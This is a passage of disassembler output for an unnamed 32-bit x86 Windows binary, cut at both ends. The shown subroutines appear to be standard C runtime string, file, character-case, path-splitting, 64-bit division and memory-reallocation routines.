div [ebp+arg_4]
jmp short loc_416C7D
sub_416BB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C98 proc near ; CODE XREF: sub_405B23+2B2p
; sub_406100+101p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_416CB1: ; CODE XREF: sub_416C98+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_416CB1
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_416CD9
mov edx, dword_4694B0
loc_416CD9: ; CODE XREF: sub_416C98+39j
; sub_416C98+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_416CF9
test al, al
jz short loc_416CF9
inc edx
jmp short loc_416CD9
; ---------------------------------------------------------------------------
loc_416CF9: ; CODE XREF: sub_416C98+58j
; sub_416C98+5Cj
mov ebx, edx
loc_416CFB: ; CODE XREF: sub_416C98+81j
mov al, [edx]
test al, al
jz short loc_416D1F
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_416D1B
inc edx
jmp short loc_416CFB
; ---------------------------------------------------------------------------
loc_416D1B: ; CODE XREF: sub_416C98+7Ej
and byte ptr [edx], 0
inc edx
loc_416D1F: ; CODE XREF: sub_416C98+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4694B0, edx
and eax, ebx
pop ebx
leave
retn
sub_416C98 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416D40 proc near ; CODE XREF: sub_4063B0+1B4p
; sub_407276+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_416DC3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_416D64
shr ecx, 2
jnz short loc_416DD1
jmp short loc_416D85
; ---------------------------------------------------------------------------
loc_416D64: ; CODE XREF: sub_416D40+1Bj
; sub_416D40+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_416D92
test al, al
jz short loc_416D9A
test esi, 3
jnz short loc_416D64
mov ebx, ecx
shr ecx, 2
jnz short loc_416DD1
loc_416D80: ; CODE XREF: sub_416D40+8Fj
and ebx, 3
jz short loc_416D92
loc_416D85: ; CODE XREF: sub_416D40+22j
; sub_416D40+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_416DBE
dec ebx
jnz short loc_416D85
loc_416D92: ; CODE XREF: sub_416D40+2Bj
; sub_416D40+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416D9A: ; CODE XREF: sub_416D40+2Fj
test edi, 3
jz short loc_416DB4
loc_416DA2: ; CODE XREF: sub_416D40+72j
mov [edi], al
inc edi
dec ecx
jz loc_416E36
test edi, 3
jnz short loc_416DA2
loc_416DB4: ; CODE XREF: sub_416D40+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_416E27
loc_416DBB: ; CODE XREF: sub_416D40+7Fj
; sub_416D40+F4j
mov [edi], al
inc edi
loc_416DBE: ; CODE XREF: sub_416D40+4Dj
dec ebx
jnz short loc_416DBB
pop ebx
pop esi
loc_416DC3: ; CODE XREF: sub_416D40+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416DC9: ; CODE XREF: sub_416D40+A9j
; sub_416D40+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416D80
loc_416DD1: ; CODE XREF: sub_416D40+20j
; sub_416D40+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416DC9
test dl, dl
jz short loc_416E1B
test dh, dh
jz short loc_416E11
test edx, 0FF0000h
jz short loc_416E07
test edx, 0FF000000h
jnz short loc_416DC9
mov [edi], edx
jmp short loc_416E1F
; ---------------------------------------------------------------------------
loc_416E07: ; CODE XREF: sub_416D40+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_416E1F
; ---------------------------------------------------------------------------
loc_416E11: ; CODE XREF: sub_416D40+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_416E1F
; ---------------------------------------------------------------------------
loc_416E1B: ; CODE XREF: sub_416D40+ADj
xor edx, edx
mov [edi], edx
loc_416E1F: ; CODE XREF: sub_416D40+C5j
; sub_416D40+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_416E31
loc_416E27: ; CODE XREF: sub_416D40+79j
xor eax, eax
loc_416E29: ; CODE XREF: sub_416D40+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_416E29
loc_416E31: ; CODE XREF: sub_416D40+E5j
and ebx, 3
jnz short loc_416DBB
loc_416E36: ; CODE XREF: sub_416D40+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416D40 endp
; =============== S U B R O U T I N E =======================================
sub_416E3E proc near ; CODE XREF: sub_406C3E+2E2p
; sub_406C3E+435p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_416EBA
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_416E5D
cmp edi, 1
jz short loc_416E5D
cmp edi, 2
jnz short loc_416EBA
loc_416E5D: ; CODE XREF: sub_416E3E+13j
; sub_416E3E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_416E74
push esi
call sub_41BC19
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_416E74: ; CODE XREF: sub_416E3E+27j
push esi
call sub_4186E4
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_416E89
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_416E9D
; ---------------------------------------------------------------------------
loc_416E89: ; CODE XREF: sub_416E3E+42j
test al, 1
jz short loc_416E9D
test al, 8
jz short loc_416E9D
test ah, 4
jnz short loc_416E9D
mov dword ptr [esi+18h], 200h
loc_416E9D: ; CODE XREF: sub_416E3E+49j
; sub_416E3E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41BB7F
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_416EC7
; ---------------------------------------------------------------------------
loc_416EBA: ; CODE XREF: sub_416E3E+Bj
; sub_416E3E+1Dj
mov dword_4694B4, 16h
or eax, 0FFFFFFFFh
loc_416EC7: ; CODE XREF: sub_416E3E+7Aj
pop edi
pop esi
retn
sub_416E3E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416ED0 proc near ; CODE XREF: sub_406C3E+2ACp
; sub_406C3E+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_416F01
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_416EFF
jz short loc_416F01
dec ecx
dec ecx
loc_416EFF: ; CODE XREF: sub_416ED0+29j
not ecx
loc_416F01: ; CODE XREF: sub_416ED0+9j
; sub_416ED0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_416ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416F10 proc near ; CODE XREF: sub_407135+5Cp
; sub_407135+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_416FC4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_416F3A
loc_416F2B: ; CODE XREF: sub_416F10+28j
mov al, [edi]
inc edi
test al, al
jz short loc_416F6B
test edi, 3
jnz short loc_416F2B
loc_416F3A: ; CODE XREF: sub_416F10+19j
; sub_416F10+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_416F3A
mov eax, [edi-4]
test al, al
jz short loc_416F78
test ah, ah
jz short loc_416F73
test eax, 0FF0000h
jz short loc_416F6E
test eax, 0FF000000h
jnz short loc_416F3A
loc_416F6B: ; CODE XREF: sub_416F10+20j
dec edi
jmp short loc_416F7B
; ---------------------------------------------------------------------------
loc_416F6E: ; CODE XREF: sub_416F10+52j
sub edi, 2
jmp short loc_416F7B
; ---------------------------------------------------------------------------
loc_416F73: ; CODE XREF: sub_416F10+4Bj
sub edi, 3
jmp short loc_416F7B
; ---------------------------------------------------------------------------
loc_416F78: ; CODE XREF: sub_416F10+47j
sub edi, 4
loc_416F7B: ; CODE XREF: sub_416F10+5Cj
; sub_416F10+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_416F90
mov ebx, ecx
shr ecx, 2
jnz short loc_416FDC
jmp short loc_416FAC
; ---------------------------------------------------------------------------
loc_416F90: ; CODE XREF: sub_416F10+75j
; sub_416F10+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_416FCA
mov [edi], dl
inc edi
dec ecx
jz short loc_416FC0
test esi, 3
jnz short loc_416F90
mov ebx, ecx
shr ecx, 2
jnz short loc_416FDC
loc_416FAC: ; CODE XREF: sub_416F10+7Ej
; sub_416F10+CAj
mov ecx, ebx
and ecx, 3
jz short loc_416FC0
loc_416FB3: ; CODE XREF: sub_416F10+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_416FC2
dec ecx
jnz short loc_416FB3
loc_416FC0: ; CODE XREF: sub_416F10+8Bj
; sub_416F10+A1j
mov [edi], cl
loc_416FC2: ; CODE XREF: sub_416F10+ABj
pop ebx
pop esi
loc_416FC4: ; CODE XREF: sub_416F10+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FCA: ; CODE XREF: sub_416F10+85j
; sub_416F10+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416FD4: ; CODE XREF: sub_416F10+E4j
; sub_416F10+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416FAC
loc_416FDC: ; CODE XREF: sub_416F10+7Cj
; sub_416F10+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416FD4
test dl, dl
jz short loc_416FCA
test dh, dh
jz short loc_417028
test edx, 0FF0000h
jz short loc_417018
test edx, 0FF000000h
jnz short loc_416FD4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_417018: ; CODE XREF: sub_416F10+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_417028: ; CODE XREF: sub_416F10+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416F10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417040 proc near ; CODE XREF: sub_407276+2A2p
; sub_40CE55+30AFp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_417061
xor eax, eax
jmp short loc_417063
; ---------------------------------------------------------------------------
loc_417061: ; CODE XREF: sub_417040+1Bj
mov eax, edi
loc_417063: ; CODE XREF: sub_417040+1Fj
cld
pop edi
leave
retn
sub_417040 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_417080
loc_417070: ; CODE XREF: sub_417080+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_417080
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417080 proc near ; CODE XREF: sub_4085D3+DBp
; sub_40CE55+411p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_417086: ; CODE XREF: sub_415AC0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_4170AB
loc_417098: ; CODE XREF: sub_417080+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_417070
test cl, cl
jz short loc_4170F4
test edx, 3
jnz short loc_417098
loc_4170AB: ; CODE XREF: sub_417080+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_4170B6: ; CODE XREF: sub_417080+61j
; sub_417080+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_4170F8
and eax, 81010100h
jz short loc_4170B6
and eax, 1010100h
jnz short loc_4170F2
and esi, 80000000h
jnz short loc_4170B6
loc_4170F2: ; CODE XREF: sub_417080+68j
; sub_417080+81j ...
pop esi
pop edi
loc_4170F4: ; CODE XREF: sub_417080+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4170F8: ; CODE XREF: sub_417080+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_417135
test al, al
jz short loc_4170F2
cmp ah, bl
jz short loc_41712E
test ah, ah
jz short loc_4170F2
shr eax, 10h
cmp al, bl
jz short loc_417127
test al, al
jz short loc_4170F2
cmp ah, bl
jz short loc_417120
test ah, ah
jz short loc_4170F2
jmp short loc_4170B6
; ---------------------------------------------------------------------------
loc_417120: ; CODE XREF: sub_417080+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_417127: ; CODE XREF: sub_417080+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41712E: ; CODE XREF: sub_417080+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_417135: ; CODE XREF: sub_417080+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_417080 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41713C proc near ; CODE XREF: sub_4085D3+AFp
; sub_40CE55+4479p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_417150
xor eax, eax
jmp short loc_417186
; ---------------------------------------------------------------------------
loc_417150: ; CODE XREF: sub_41713C+Ej
dec [ebp+arg_4]
push esi
jz short loc_417180
mov esi, [ebp+arg_8]
loc_417159: ; CODE XREF: sub_41713C+42j
dec dword ptr [esi+4]
js short loc_417168
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41716F
; ---------------------------------------------------------------------------
loc_417168: ; CODE XREF: sub_41713C+20j
push esi
call sub_41B8B0
pop ecx
loc_41716F: ; CODE XREF: sub_41713C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41718A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_417180
dec [ebp+arg_4]
jnz short loc_417159
loc_417180: ; CODE XREF: sub_41713C+18j
; sub_41713C+3Dj ...
and byte ptr [edi], 0
loc_417183: ; CODE XREF: sub_41713C+55j
mov eax, ebx
pop esi
loc_417186: ; CODE XREF: sub_41713C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41718A: ; CODE XREF: sub_41713C+36j
cmp edi, [ebp+arg_0]
jnz short loc_417180
xor ebx, ebx
jmp short loc_417183
sub_41713C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417193 proc near ; CODE XREF: sub_409B24+6p
; sub_409B42+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_469548, 0
push ebx
push esi
push edi
jnz short loc_4171C0
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_417259
cmp eax, 5Ah
jg loc_417259
add eax, 20h
jmp loc_417259
; ---------------------------------------------------------------------------
loc_4171C0: ; CODE XREF: sub_417193+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_4171F4
cmp dword_437F9C, esi
jle short loc_4171E2
push esi
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_4171EC
; ---------------------------------------------------------------------------
loc_4171E2: ; CODE XREF: sub_417193+42j
mov eax, off_437D90
mov al, [eax+ebx*2]
and eax, esi
loc_4171EC: ; CODE XREF: sub_417193+4Dj
test eax, eax
jnz short loc_4171F4
loc_4171F0: ; CODE XREF: sub_417193+ADj
mov eax, ebx
jmp short loc_417259
; ---------------------------------------------------------------------------
loc_4171F4: ; CODE XREF: sub_417193+3Aj
; sub_417193+5Bj
mov edx, off_437D90
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417218
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_417221
; ---------------------------------------------------------------------------
loc_417218: ; CODE XREF: sub_417193+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_417221: ; CODE XREF: sub_417193+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_469548
call sub_41BD71
add esp, 20h
test eax, eax
jz short loc_4171F0
cmp eax, esi
jnz short loc_41724C
movzx eax, [ebp+var_4]
jmp short loc_417259
; ---------------------------------------------------------------------------
loc_41724C: ; CODE XREF: sub_417193+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_417259: ; CODE XREF: sub_417193+16j
; sub_417193+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_417193 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417260 proc near ; CODE XREF: sub_40AA1B+3Dp
; sub_40C218+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_417281
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_4172D1
; ---------------------------------------------------------------------------
loc_417281: ; CODE XREF: sub_417260+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41728F: ; CODE XREF: sub_417260+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41728F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_4172BA
cmp edx, [esp+4+arg_4]
ja short loc_4172BA
jb short loc_4172C2
cmp eax, [esp+4+arg_0]
jbe short loc_4172C2
loc_4172BA: ; CODE XREF: sub_417260+4Aj
; sub_417260+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_4172C2: ; CODE XREF: sub_417260+52j
; sub_417260+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_4172D1: ; CODE XREF: sub_417260+1Fj
pop ebx
retn 10h
sub_417260 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4172E0 proc near ; CODE XREF: sub_40AA1B+24p
; sub_40C218+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_417302
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_417343
; ---------------------------------------------------------------------------
loc_417302: ; CODE XREF: sub_4172E0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_417310: ; CODE XREF: sub_4172E0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_417310
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41733E
cmp edx, [esp+8+arg_4]
ja short loc_41733E
jb short loc_41733F
cmp eax, [esp+8+arg_0]
jbe short loc_41733F
loc_41733E: ; CODE XREF: sub_4172E0+4Ej
; sub_4172E0+54j
dec esi
loc_41733F: ; CODE XREF: sub_4172E0+56j
; sub_4172E0+5Cj
xor edx, edx
mov eax, esi
loc_417343: ; CODE XREF: sub_4172E0+20j
pop esi
pop ebx
retn 10h
sub_4172E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417348 proc near ; CODE XREF: sub_40AAD1+1E3p
; sub_40C682+104p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_415CF0
cmp eax, 1
pop ecx
jb short loc_417383
cmp byte ptr [ebx+1], 3Ah
jnz short loc_417383
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41737F
push 2
push ebx
push esi
call sub_41C3A0
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41737F: ; CODE XREF: sub_417348+25j
inc ebx
inc ebx
jmp short loc_41738D
; ---------------------------------------------------------------------------
loc_417383: ; CODE XREF: sub_417348+18j
; sub_417348+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41738D
and byte ptr [eax], 0
loc_41738D: ; CODE XREF: sub_417348+39j
; sub_417348+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_417405
loc_4173A0: ; CODE XREF: sub_417348+87j
mov cl, [eax]
movzx edx, cl
test byte_46AA01[edx], 4
jz short loc_4173B1
inc eax
jmp short loc_4173CB
; ---------------------------------------------------------------------------
loc_4173B1: ; CODE XREF: sub_417348+64j
cmp cl, 2Fh
jz short loc_4173C5
cmp cl, 5Ch
jz short loc_4173C5
cmp cl, 2Eh
jnz short loc_4173CB
mov [ebp+var_4], eax
jmp short loc_4173CB
; ---------------------------------------------------------------------------
loc_4173C5: ; CODE XREF: sub_417348+6Cj
; sub_417348+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_4173CB: ; CODE XREF: sub_417348+67j
; sub_417348+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_4173A0
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_417405
cmp [ebp+arg_8], 0
jz short loc_417400
sub edi, ebx
cmp edi, esi
jb short loc_4173E9
mov edi, esi
loc_4173E9: ; CODE XREF: sub_417348+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41C3A0
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_417400: ; CODE XREF: sub_417348+97j
mov ebx, [ebp+arg_4]
jmp short loc_41740F
; ---------------------------------------------------------------------------
loc_417405: ; CODE XREF: sub_417348+56j
; sub_417348+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41740F
and byte ptr [ecx], 0
loc_41740F: ; CODE XREF: sub_417348+BBj
; sub_417348+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_417462
cmp edi, ebx
jb short loc_417462
cmp [ebp+arg_C], 0
jz short loc_41743F
sub edi, ebx
cmp edi, esi
jb short loc_417428
mov edi, esi
loc_417428: ; CODE XREF: sub_417348+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41C3A0
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41743F: ; CODE XREF: sub_417348+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41748A
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41744F
mov esi, eax
loc_41744F: ; CODE XREF: sub_417348+103j
push esi
push [ebp+var_4]
push edi
call sub_41C3A0
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41748A
; ---------------------------------------------------------------------------
loc_417462: ; CODE XREF: sub_417348+CCj
; sub_417348+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_417480
sub eax, ebx
cmp eax, esi
jnb short loc_417471
mov esi, eax
loc_417471: ; CODE XREF: sub_417348+125j
push esi
push ebx
push edi
call sub_41C3A0
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_417480: ; CODE XREF: sub_417348+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41748A
and byte ptr [eax], 0
loc_41748A: ; CODE XREF: sub_417348+FCj
; sub_417348+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_417348 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41748F proc near ; CODE XREF: sub_40B1E1+19p
; sub_412D06+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_417D4C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4174CD
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4174DA
; ---------------------------------------------------------------------------
loc_4174CD: ; CODE XREF: sub_41748F+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C37
pop ecx
pop ecx
loc_4174DA: ; CODE XREF: sub_41748F+3Cj
mov eax, esi
pop esi
leave
retn
sub_41748F endp
; =============== S U B R O U T I N E =======================================
sub_4174DF proc near ; CODE XREF: sub_40B459+2Ep
; sub_4167D3+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_4174FA
push [esp+10h+arg_4]
call sub_415DC9
pop ecx
jmp loc_4175FA
; ---------------------------------------------------------------------------
loc_4174FA: ; CODE XREF: sub_4174DF+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_417510
push ebx
call sub_415E3D
pop ecx
loc_417509: ; CODE XREF: sub_4174DF+114j
xor eax, eax
jmp loc_4175FA
; ---------------------------------------------------------------------------
loc_417510: ; CODE XREF: sub_4174DF+21j
; sub_4174DF+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4175DB
push ebx
call sub_418AFD
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_4175B8
cmp esi, dword_437FAC
ja short loc_417578
push esi
push ebx
push ebp
call sub_419308
add esp, 0Ch
test eax, eax
jz short loc_417547
mov edi, ebx
jmp short loc_417570
; ---------------------------------------------------------------------------
loc_417547: ; CODE XREF: sub_4174DF+62j
push esi
call sub_418E53
mov edi, eax
pop ecx
test edi, edi
jz short loc_417578
